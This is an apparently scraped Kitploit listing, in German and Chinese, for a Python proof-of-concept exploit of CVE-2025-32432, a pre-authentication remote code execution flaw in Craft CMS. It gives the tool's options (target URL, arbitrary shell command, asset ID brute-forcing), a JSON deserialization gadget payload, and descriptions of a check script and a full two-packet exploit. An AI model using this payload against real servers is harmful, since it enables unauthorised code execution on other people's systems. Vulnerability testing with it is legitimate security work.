CVE-2025-32432-PoC — Python-Exploit für CVE-2025-32432, eine Pre-Auth-RCE im CraftCMS-Asset-Transform-Endpunkt. Enthält eine Zwei-Paket-Kette, um beliebige Shell-Befehle über Deserialisierungs-Gadgets auszuführen. | Kitploit

Option	Lange Form	Beschreibung	Erforderlich
`-u`	`--url`	Basis-URL des Ziels (ohne abschließenden Schrägstrich)	✅
`-c`	`--cmd`	Auszuführender Shell-Befehl	✅
`-a`	`--asset`	Bekannter gültiger `assetId`	❌
`-s`	`--scan-max`	Brute-Force-Grenzwert (Standard: 300)	❌

{
  "assetId": 11,
  "handle": {
    "width": 1,
    "height": 1,
    "as hack": {
      "class": "craft\\behaviors\\FieldLayoutBehavior",
      "__class": "yii\\rbac\\PhpManager",
      "__construct()": [
        {
          "itemFile": "/tmp/sess_<SessionID>"
        }
      ]
    }
  }
}

檔案	用途
`craftcms_rce_php_check.py`	PHP 執行可行性檢查：單一請求，使用 `FnStream` 觸發 `phpinfo()`，以低影響方式驗證目標是否易受攻擊。此檔案名稱為說明用途而調整，原始概念與程式架構來自 Chirag Artani。
`craftcms_final_payload.py`	兩包鏈完整利用：先以 `FnStream` 植入 PHP，再透過 `PhpManager` 執行任意指令。

CVE-2025-32432-PoC

Beliebteste

2. Haftungsausschluss 🚨

3. Funktionen (endgültiges Payload)

4. Anforderungen

5. Installation

6. Verwendung

6.1 Schnelle PHP-Ausführungsprüfung

6.2 Vollständiger Zwei-Paket-Exploit

Optionen

7. Wie die Schwachstelle funktioniert (Zusammenfassung)

8. Getestete Versionen

9. Referenzen & Weiterführende Literatur

10. Danksagungen

11. Lizenz

中文說明

1. 專案內容

2. 免責聲明

3. 快速檢查

4. 完整利用

5. 致謝

6. 授權

`craftcms_rce_php_check.py`	Sicherheitssonde – sendet eine Anfrage mithilfe des `FnStream`-Gadgets, um zu prüfen, ob beliebiger PHP-Code ausgeführt wird (gibt `phpinfo()` aus). Ideal für eine risikoarme Bestätigung.
`craftcms_final_payload.py`	Vollständiger Exploit – Zwei-Paket-Kette: Zuerst PHP via `FnStream` einschleusen, dann mit dem `FieldLayoutBehavior → PhpManager`-Gadget jeden Shell-Befehl ausführen.